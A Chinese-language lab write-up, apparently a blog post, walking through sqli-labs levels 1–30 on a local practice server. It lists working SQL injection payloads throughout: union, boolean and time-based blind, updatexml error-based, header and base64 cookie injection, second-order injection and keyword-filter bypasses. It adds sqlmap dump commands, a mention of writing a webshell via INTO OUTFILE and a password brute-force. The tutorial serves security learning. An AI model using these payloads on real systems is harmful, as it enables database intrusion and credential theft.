目录
注:
如果过程出现这个鸟样的报错,不要怀疑你的代码出问题,看一下这个大佬的解决办法:
less-1(字符型注入)
这里给出提示让输入id,那就在url后面加入id=1试试,发现随着id改变,得到的结果不同,并且输入的内容都放进了数据库查询并显示结果:
接下来让它报错,下面的%27是英文的单引号:
在后面添加注释符后恢复正常,存在注入,接下来判断列数:
?id=1' order by 1,2,3--+
?id=1' order by 1,2,3,4--+
得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:
?id=-1'union select 1,2,3--+
根据结果可知,2和3的位置回显出来了,查询数据库名:
?id=-1' union select 1,2,database()--+
得到数据库名:security,继续爆表:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。
这里需要的内容在users表中,目前知道数据库名,还有表名,爆字段:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到敏感信息password,爆字段内容:
?id=-1' union select 1,2,group_concat(username,id,password) from users--+
成功拿到所有username和password的内容。
less-2(整数型注入)
这里添加单引号后报错,但后面无论添加什么注释符都没用,看一下源码:
原来是 整数型注入,注入步骤跟第一关一致,这里简单带过一下:
?id=-1 union select 1,2,group_concat(username,id,password) from users
less-3
加个单引号,看看啥情况:
看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容:
?id=1') --+
后面的又跟上面一样了,简单带过:
?id=-1') union select 1,2,group(username,id,password) from users--+
less-4
想办法先让它报个错看看,输入单引号没用,双引号可以:
同样,还差一个')'未闭合,那就加个')',再加个'--+'注释:
剩下的还是跟前面一样,这里简单带过:
?id=-1") union select 1,2,group_concat(username,id,password) from users --+
less-5(布尔盲注)
这里的话,无论是id=1,2,3,这个页面均没有变化:
添加单引号和注释符后,虽然可以恢复,但是在使用union select查询回显位时没有反应,因此只能选择考虑盲注这一块了:
这里可以试试布尔盲注,布尔盲注主要用到三个函数,length()、asciil()、substr();
length():用于判断长度,如果不对则报错,如果正确,则恢复正常页面;
ascii():用于将字符转化为ASCII码,然后猜测当前字符的ASCII码,并推出该字符;
substr():截取字符串,如substr(a,b,c),a为需要截取的字符串,b为截取的开始位置,c为截取的长度。
那就先用length()试试水:
?id=1' and length(database())=8 --+
得到数据库名的长度为8个字符,接下来逐个判断它的ASCII码:
?id=1' and ascii(substr(database(),1,1))=115 --+
得到数据库,名第一个字符的ASCII吗为115,为小写s:
像这样一步一步就可以推出数据库名了,由于太耗时间,这里进行下一步,爆表,首先也要判断表的长度:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29 --+
这里可以得到表名的长度 大于28,不大于29,因此表名长度为29,接着判断表名的第一个字符的ASCII码,并推出值,其实就是将上面的length()函数替换成ascii(substr()) 函数:
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101 --+
得到第一张表的第一个字符的ASCII码为101,即为e:
后面的交给sqlmap:
python sqlmap.py -u "http://localhost/sqli/less-5/?id=1" --batch -D security -T users --columns --dump
less-6
老规矩,先报错看看,还是单引号不行,双引号可以,再加个注释符,其余跟第五题一样,这里就不复现了,将第五题的单引号改成双引号就可以了。
less-7
一样,先报错看看,找到闭合符')),再加上注释符恢复正常页面:
这个题有两种解法,第一种跟上面盲注一致,没有挑战性,照葫芦画瓢就行,第二种是根据它的提示outfile来做,最终的语句如下:
?id=1')) union select 1,2,3 into outfile "D:\\2.txt" --+
简单说明一下踩过的坑,首先这段话的意思是把字符'3'写道指定的文件中,即上面的2.txt中,这里的'3'可以替换为一句话🐎,但我使用自己的电脑,并没有成功写入🐎,也没找到原因,换成字符后可以写入,还有就是需要在mysql配置文件中添加secure_file_priv="/",不然没有写文件的权限,接着可以使用下面这段sql语句查看一下是否开启写入文件的权限;
show variables like '%secure%';
最后一个坑是这里的 secure_file_priv 显示在D:\,然后我写入文件时的路径也只能在D盘下才能写入,如果是linux系统的话,应该只需要配置secure_file_priv就行了。
less-8
老规矩,使其报错,输入单引号后,啥也没有,但输入双引号后又出现了,说明应该是无回显的盲注:
那直接用上面提到的三个函数就行了,即length()、substr()、ascii()。
剩下的交给sqlmap:
python sqlmap.py -u "http://localhost/sqli/less-8/?id=1" --batch
python sqlmap.py -u "http://localhost/sqli/less-8/?id=1" --batch -D secruity -T users --columns --dump
对于盲注这一块,能用工具跑的,绝不用手动,因为手动效率太慢了!
less-9(时间盲注)
这关有意思,不管你输入什么,页面也不会改变,那应该就是时间盲注了,时间盲注无非就多了个if()函数和sleep()函数,如:if(a,sleep(3),1),这个意思是如果a是真的,则页面延迟3秒,如果a是假的,则页面无延迟,那就好办了,首先判断一下数据库长度:
?id=1' and if(length(database())>7,sleep(3),1) --+
这个延迟效果估计看图片不容易看出来,不过意思到了就行了,至少确定是时间盲注了,接下来爆数据库名:
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+
由此得出当前数据库名字的第一个字符的ASCII码为115,即's':
接着爆表长度:
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(3),1) --+
得到表的长度为29,接下来爆表名字的内容:
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(3),1) --+
得到表名的第一个字符的ASCII码为101,即'e':
后面再判断字段长度、字段名、字段内容,剩下的sqlmap上场:
python sqlmap.py -u "http://localhost/sqli/less-9/?id=1" --batch
python sqlmap.py -u "http://localhost/sqli/less-9/?id=1" --batch -D security -T users --columns --dump
less-10
看了一下源码,其实跟第九关差不多,把单引号改成双引号就一样了:
如果不熟悉的话,可以再练一遍,这里就不写了。
less-11
变了个样,让我的sql语句有个像样的地方插入了,不过换汤不换药,老规矩,先试试报错,这里的话,输入单引号就可以报错了,不过‘--+’不管用了,得换成‘#’,这里就不放图片了。
一般像这种登录框,先试试万能钥匙:
1' or 1=1 #
可以登录,那后面就简单了,判断列数:
1' order by 3 #
1' order by 2 #
没报错,说明列数有两列,看看回显位置:
1' union select 1,2 #
爆数据库:
1' union select 1,database() #
爆表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆字段:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆字段内容:
1' union select 1,group_concat(username,id,password) from users #
less-12
使其报错发现,跟上一关的区别在于,闭合符变成"),其它都一样,这里就简单带过:
1") union select 1,group_concat(username,id,password) from users #
less-13 (报错注入)
还是一样,先让他报错:
找到闭合符'),但是使用联合查询时,没有回显,时间盲注也不行,学个新的,报错注入,这里简单介绍一下两个函数:
extractvalue(xml_document,Xpath_string)
updatexml(xml_document,xpath_string,new_value)
#把你想查询的东西替换上面的Xpath,其它的随便用数字替换就行
这里使用updatexml函数,别问,问就是好记。
1') and updatexml(1,concat(0x7e,database()),1) #
这里的0x7e是'~',也可以换成其它符号,目的是区分出所查询的东西的位置,我看普遍都是用0x7e,我也跟随大众。
爆表:
1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) #
爆字段:
1') and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),40,100),0x7e),1) #
这里的话,由于直接使用报错注入,会存在数据太多,显示不全的问题,因此这里使用了mid函数来截取所需内容,mid函数简单介绍如下:
mid('abcde',1,3)
#第一个参数是需要截取的字符,第二个参数是截取的起始位置,第三个参数是截取的字符数量
还有就是,limit和group_concat不能同时使用,因此这里我并没有使用limit来截取。
爆字段内容:
1') and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1) #
同理,这里也出现显示不全,但最终用户名和密码是获取了,具体需要哪一个,可以使用mid函数去截取。
less-14
跟上一关一样的做法,也是报错注入,只不过闭合符变成了双引号,这里简单带过一下:
1" and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1) #
less-15
这里稍微卡了一下,因为我前面用的都是1,结果到这不行了,换成字符就可以了,而且还只能是admin,a都不行。这里的闭合符号也是单引号,不一样的是这里不会报错,那只能试试时间盲注了:
admin' and sleep(5) #
判断数据库长度:
admin' and if(length(database())=8,sleep(3),1) #
爆数据库名:
admin' and if(ascii(substr(database(),1,1))=115,sleep(3),1) #
判断表长度:
admin' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(3),1) #
爆表:
admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(3),1) #
爆字段长度:
admin' and if(length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29,sleep(3),1) #
爆字段内容:
admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))>1,sleep(3),1) #
python sqlmap.py -r s.txt --batch
python sqlmap.py -r s.txt --batch -D secruity -T users --columns --dump
时间盲注太慢了,这里就不放图片了。
less-16
还是无论输入说明都没有反应,很大可能又是时间盲注,但是没找到闭合符,看一下源码:
闭合符为"),剩下的跟上一关一致,交给sqlmap:
python sqlmap.py -r s.txt --batch
时间盲注太耗时间,就不跑了。
less-17
这关开始有绕过了,难度上升,先看看源码:
该函数的目的是对输入进行处理,确保其符合预期格式。它会截断字符串的长度、去除转义字符,并将非数字类型的值进行引用和转义,而数字类型的值则转换为整数。
所以当输入的username时,在这就经过了过滤,基本上这里就不能使用username处进行注入了,只能选择password处注入,但前提是username要输入正确。
这个我理解的意思是先查询username,当username正确时,查询password,这里也就是为什么必须要输入正确的username才能在password处实施注入。
这里的话,可以使用报错注入:
爆数据库:
admin
1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
爆表:
admin
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
爆字段:
admin
1' and updatexml(1,mid((concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)),40,100),1) #
爆字段内容:
admin
1' and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1) #
报错了,注意看前面的源码部分,在password处使用的是UPDATE,在MySQL中同一个语句不能先select表中内容再update表,因此这里可以用子查询的方式去替换,即:
(select username,id,password from users)a
所以就是:
1' and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from (select username,id,password from users)a),0x7e),1) #
这种替换是为了在查询中使用子查询,将username、id、password
列作为一个子查询的结果,并将其命名为a
。
less-18(User-Agent注入)
也是跟上面一样,输入什么都没反应,但是底下多了一个IP,有可能是User-Agent注入,先看看源码:
这个是一个过滤函数。
很明显,这里username和password都被过滤了,这里还直接输出User-Agent,利用点就在这了。
最后是两个sql语句
从这里就可以看出注入点就是U-A头了,且闭合语句是:
1',1,1)#
接下来就开始抓包处理了,这里因为需要输入正确的username和password才能进行注入,而我还以为是简单的admin/admin,结果并不是,那就爆破一手。
可以看出,密码应该是:
000001
0000001
验证一下:
可见,登录成功之后,显示了User-Agent,这也就是为什么需要输入正确的username和password才能注入了,这里的话,使用报错注入,这里我选择的是还是updatexml()函数,别问,问就是好记。
',updatexml(1,concat(0x7e,database(),0x7e),1),1)#
爆表:
',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1)#
爆字段:
',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1),1)#
同样,显示不全,加个mid()函数:
',updatexml(1,mid(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),40,100),1),1)#
爆字段内容:
',updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1),1)#
中途换了个网,网太差了。。
less-19(Referer注入)
这关同样怎么输也没用,应该是跟上关相差不大,输入上关爆破的密码试试:
一目了然,为Referer注入,抓包看报错,找闭合:
1',1)#
爆库:
',updatexml(1,concat(0x7e,database(),0x7e),1))#
后面的就跟上一关一致了,这里简单带过一下:
',updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e),1))#
less-20(Cookie注入)
依旧输入什么也没有用,那就登录看看:
看到了一大堆输出,其中在cookie在看到了uname,应该是cookie注入,抓包构造语句:
可以看出,'#为闭合语句。
查看列数:
'order by 4 #
' order by 3#
列数为3列。找到注入点后,后面就是简单的联合查询了,这里就简单带过一下:
Cookie: uname='union select 1,(select group_concat(username,0x7e,password) from users),3#
less-21
同样输入任何都没反应,登录进去看看:
和上一关长一样,应该也是cookie注入,抓个包看看:
可以看出来,这里的cookie被base64加密了,先找到闭合符:
闭合符为'),后面就相当于把上一关的payload使用base64加密,这里就简单带过一下:
-admin') union select 1,(select group_concat(username,0x7e,password) from users),3 #
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsMHg3ZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMyAj
less-22
同样,先登录看看:
这不还是一样的嘛,它甚至连内容标题都懒得改,都还是21,抓个包:
cookie依旧是使用base64加密,找闭合符:
闭合符是双引号,后面的就跟上一关一样了,这里就简单带过一下:
-admin" union select 1,(select group_concat(username,0x7e,password) from users),3 #
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDdlLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwzICM=
less-23(注释符绕过)
这关似乎回到了最初的样子,变成id了,同样找闭合符:
闭合符为单引号,不过这里就遇到了一个问题,注释不了,看来这关难点在这,看看源码吧:
可以看出,过滤掉了'#'和'--',相对于匹配id中的字符,将里面的'#'和'--'替换成空格,再把空格去掉,当我还在看怎么绕过这个过滤时, 突然看到大佬的一个思路,既然没办法绕过,那就再加一个单引号闭合后面的单引号:
?id=-1' union select 1,2,3'
果然可以,爆库:
?id=-1' union select 1,concat(0x7e,database(),0x7e),3'
爆表:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3'
爆字段:
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3'
爆字段内容:
?id=-1' union select 1,(select group_concat(username,0x7e,password) from users),3'
这里还可以使用报错注入,但是只能嵌套在union select中,不能直接使用:
?id=-1' union select 1,(updatexml(1,concat(0x7e,database(),0x7e),1)),3'
less-24 (二次注入)
这关看起来比较复杂,但其实从就是一个典型的二次注入, 首先查看一下所有的用户名和密码:
接着去注册一个账号:
admin' #
111
接着登录一下刚才那个账号:
然后修改一下密码:
111
222
222
修改成功,当再次查询密码时,会发现admin的密码被修改成222了,而刚才那个账号还在:
这是因为当登录那个新账号时,修改密码的sql语句就变成了:
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就变成了:
UPDATE users SET passwd="New_Pass" WHERE username =' admin'
那就相对于直接对admin账号进行修改密码了,这就是典型的二次注入。
less-25(双写绕过)
提示'or'和'and'被过滤掉了,那就双写绕过,其实也就是在'or'里面再加一个'or',也就变成了'oorr',因为只过滤一次,把中间这个'or'过滤掉之后,还剩下一个'or',先判断列数:
?id=1' oorrder by 3 --+
?id=1' oorrder by 4 --+
为三列,后面的就跟原始注入一样,无非就是在包含有'or'或者有'and'的情况下双写一下,这里就简单带过一下:
?id=-1' union select 1,2,(select group_concat(username,0x7e,passwoorrd) from users) --+
less-25a
提示还是过滤了'or'和'and',当我还在找闭合符的时候,后面发现其实就是个数字型注入。。。
只是加了个过滤,简单带过一下:
?id=-1 union select 1,2,(select group_concat(username,0x7e,passwoorrd) from users)
less-26(双写、注释符绕过)
看一下源码吧,这关有点难绕:
过滤了挺多的,'or'、'and'、一些注释符、空格等都被过滤了,'and'和'or'倒是可以双写绕过,空格的话,我只想到了一个/**/,但是也被过滤了,所以我又新学了一个()绕过,最后的注释符也是使用新学的';%00'绕过,这里选用空格比较少的报错注入:
?id=1'anandd(updatexml(1,concat(0x7e,database(),0x7e),1));%00
爆表:
?id=1'anandd(updatexml(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1));%00
爆字段:
?id=1'anandd(updatexml(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),1));%00
显示不全,加个mid:
?id=1'anandd(updatexml(1,mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),40,100),1));%00
爆字段内容:
?id=1'anandd(updatexml(1,(select(group_concat(username,0x7e,passwoorrd))from(users)),1));%00
less-26a
这关的过滤跟上关一样,不一样的是闭合符号不同:
但是这关的报错没有报出sql语句,因此不能使用报错注入了,这里我使用的是布尔盲注,这个的空格相对于联合查询来说要少一些:
?id=1')anandd(length(database())=8);%00
?id=1')anandd(ascii(substr(database(),1,1))=115);%00
?id=1')anandd(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))=29);%00
?id=1')anandd(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1))=101);%00
剩下的似乎sqlmap跑不了,那就到这吧。
less-27 (三写绕过)
看看源码,都过滤了哪些:
多了联合查询过滤,并且大小写也过滤了,还过滤了多次,闭合符依旧还是单引号:
话不多说,上报错注入,爆库:
?id=1'and(updatexml(1,concat(0x7e,database(),0x7e),1));%00
爆表,这里的话因为过滤了'select',试了一下,双写绕不过,不过三写可以:
?id=1'and(updatexml(1,(seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1));%00
爆字段:
?id=1'and(updatexml(1,(seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1));%00
显示不全,再加mid:
?id=1'and(updatexml(1,mid((seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),40,100),1));%00
爆字段内容:
?id=1'and(updatexml(1,(seseselectlectlect(group_concat(username,0x7e,password))from(users)),1));%00
less-27a
这关跟26a一样,不能使用报错注入,闭合符为双引号:
过滤的东西跟上关一样,也就是说这里改成布尔盲注,里面的'select'也使用三写绕过即可,步骤就不写了。
less-28 (union select 双写绕过)
找一下闭合符:
闭合符是'),同样这里也不能使用报错注入,看一下过滤:
过滤了一些注释符,还有联合查询语句,这里看源码是因为我做的时候,感觉比上关还要简单,'select'没被过滤??这里的意思难道是只过滤'union select',当只有'select'的时候就过滤不了了?
这里我就只写了个判断表名的语句:
?id=1')and(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))=29);%00
从页面响应以及下面的语句可以看出,'select'没被过滤,那后面就是简单的布尔盲注了。
less-28a
看一下源码:
只剩下一个联合查询过滤了,这里我收回前面的话,就是前面我觉得它过滤了联合查询,但我单独用'select'却没问题,这并不是题目的问题,而是为自己的问题,因为这里是一定存在sql注入的,而一般情况下我们是不知道这个点有没有sql注入,使用'order by'判断完列数后,需要使用'union select'来查看回显情况,而我前面直接就进行注入了,所以还是得绕,这一关只有过滤联合查询语句,那就双写绕过,这里的闭合符也是'):
?id=-1' )ununion selection select 1,2,3 --+
爆库:
?id=-1') ununion selection select 1,2,database() --+
爆表:
?id=-1') ununion selection select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
爆字段:
?id=-1') ununion selection select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
爆字段内容:
?id=-1') ununion selection select 1,2,(select group_concat(username,0x7e,password) from users) --+
less-29
简单测试了一下,难道这关回到最初的难度了?怎么注入跟第一关一致,甚至连过滤都没有:
判断列数和查询注入点,这里就不再写了,但在实际中还是需要判断和查询。
爆库:
?id=-1' union select 1,2,database() --+
爆表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
爆字段:
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
爆字段内容:
?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users) --+
less-30
跟上一关的区别在于闭合符变成双引号的字符型注入,这里就简单带过一下:
?id=-1"union select 1,2,(select group_concat(username,0x7e,password) from users) --+